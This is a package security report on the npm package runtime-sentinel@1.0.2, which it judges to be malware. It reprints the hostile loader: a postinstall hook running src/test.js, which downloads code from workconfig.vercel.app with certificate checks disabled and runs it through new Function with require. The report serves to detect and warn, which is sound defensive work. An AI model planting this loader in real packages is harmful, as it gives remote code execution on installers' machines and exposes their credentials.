registry / Remote code execution / runtime-sentinel
runtime-sentinel
A Node.js runtime monitoring and diagnostics toolkit.
This report shows the evidence for runtime-sentinel@1.0.2. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThis is a concrete install-time remote code execution chain, not required by the documented monitoring functionality. The benign runtime implementation does not mitigate the postinstall loader.
Static reason
One or more suspicious static signals were detected.
Trigger
npm postinstall
Impact
Arbitrary code can run in the installing user's environment with access available to the npm process.
Mechanism
TLS-bypassing remote code execution via new Function
Attack narrative
Installing the package invokes node src/test.js. That script downloads data from workconfig.vercel.app while disabling certificate validation, then evaluates each received chunk through new Function('require', ...)(require). The remote server, or a network attacker enabled by disabled TLS validation, can supply arbitrary JavaScript that runs with module-loading capability during installation.
AI rationale
This is a concrete install-time remote code execution chain, not required by the documented monitoring functionality. The benign runtime implementation does not mitigate the postinstall loader.
Evidence
package.jsonsrc/test.jsindex.jssrc/monitor.js
Network endpoints1
workconfig.vercel.app
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs src/test.js via postinstall.
- src/test.js fetches https://workconfig.vercel.app at install time.
- src/test.js disables TLS certificate verification.
- Fetched response data is executed with new Function and require.
Evidence against
- index.js and src/{monitor,memory,errors,plugins}.js implement a local monitoring API.
- No benign runtime source code contacts the network.
Behavioral surface
EvalNetwork
UrlStrings
Source & flagged code
2 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node src/test.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgsrc/test.jsView file
2const url = "https://workconfig.vercel.app";
L3: https.get(url, { rejectUnauthorized: false }, res => res.on("data", data => {const handler = new Function('require', data.toString())(require);}))
Low
Eval
Package source references a known benign dynamic code generation pattern.
src/test.jsView on unpkg · L2Findings
1 High1 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
MediumNetwork
LowScripts Present
LowEvalsrc/test.js
LowUrl Strings
Affected versions and remediation
This report applies to runtime-sentinel@1.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing runtime-sentinel@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.